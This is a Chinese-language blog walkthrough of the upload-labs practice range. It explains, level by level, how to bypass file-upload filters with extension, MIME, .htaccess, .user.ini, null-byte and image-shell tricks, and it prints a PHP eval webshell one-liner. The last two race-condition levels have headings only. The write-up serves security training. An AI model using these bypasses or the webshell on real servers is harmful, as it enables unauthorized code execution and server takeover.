upload-labs

upload-labs

Pass-01(前端验证)

第一关通过前端js进行验证,不允许上传.php类型文件
(1)可以将php文件修改为后缀为.jpg后缀文件,在通过burp抓包进行修改
(2)通过修改前端代码添加.php文件进行上传

Pass-02(MIME验证)

第二关通过服务端对数据包的MIME进行检查
通过burp修改Content-Type类型

Pass-03(黑名单验证,特殊后缀)

第三关禁止上传.asp|.aspx|.php|.jsp后缀文件,可以尝试上传后缀php3,php5的文件进行上传

Pass-04(黑名单验证,.htaccess)

第四关禁止常见的后缀文件但没禁止.htaccess
可以尝试使用.htaccess重写文件解析绕过

1
2
3
<FilesMatch "4.jpg"
SetHandler application/x-httpd-php
</FilesMatch>

在上传一个4.jpg文件上传成功后.jpg文件就会以,php文件运行
测试成功

Pass-05(黑名单验证,.user.ini.)

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件
反复观察发现没有被限制的后缀名有 .php7 以及 .ini
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

但是想要引发 .user.ini 解析漏洞需要三个前提条件

1服务器脚本语言为PHP

2服务器使用CGI/FastCGI模式

3上传目录下要有可执行的php文件

创建一个.user.ini文件并把它上传
auto_prepend_file=GIF89a.jpg
.user.ini文件里的意思是:所有的php文件都自动包含GIF89a.jpg文件。.user.ini相当于一个用户自定义的php.ini
接着上传GIF89a.jpg文件,文件内容为:

1
2
GIF89a
<script language='php'>eval($_POST['shell']);</script>

然后在复制图像地址后,用蚁剑访问将文件名改为readme.php


也可用 php. . 点空格点 绕过上传

Pass-06(黑名单验证,大小写绕过)

这一关同样是后端黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单
把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
然后直接上传,蚁剑连接

Pass-07(黑名单验证,空格绕过)

这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单
抓包,修改上传一句话木马文件名zoe.php(注意这里有个空格)
放包之后用蚁剑连接

Pass-08(黑名单验证,点号绕过)

这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
抓包,修改上传一句话木马文件名zoe.php.(注意这里有个点)

Pass-09(黑名单验证,特殊字符::$DATA绕过)

1
2
3
4
5
6
这一关黑名单,没有对::$D A T A 进 行 处 理 , 可 以 使 用::$DATA进行处理,

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。

上传PHP一句话文件,抓包改后缀zoe.php::$DATA
然后使用蚁剑连接zoe.php (注意蚁剑连接路径不要加上::$DATA

Pass-10(黑名单,点空格点绕过)

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

上传zoe.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .)
使用蚁剑连接zoe.php.

Pass-11(黑名单验证,双写绕过)

这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)

上传zoe.php 然后用bp改后缀为.pphphp使用蚁剑连接zoe.php

Pass-12(get00截断)

这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

1
2
3
4
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

上传zoe.php用BP抓包修改参数,把upload/后面加上zoe.php%00,下面的filename=”zoe.php”改为zoe.png

Pass-14(图片马unpack)

这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含 绕过

cmd使用 copy 777.png/b + zoe.php pass14.png 制作图片马,上传图片马

Pass-15(getimagesize图片马)

通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

构造的URL为include.php?file=upload/8620210320174003.png

Pass-17(二次渲染绕过)

对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

利用文件包含漏洞

Pass-18(条件竞争一)

Pass-19(条件竞争二)


upload-labs
http://example.com/2023/04/19/刷题/upload-labs/
作者
Englobe
发布于
2023年4月19日
许可协议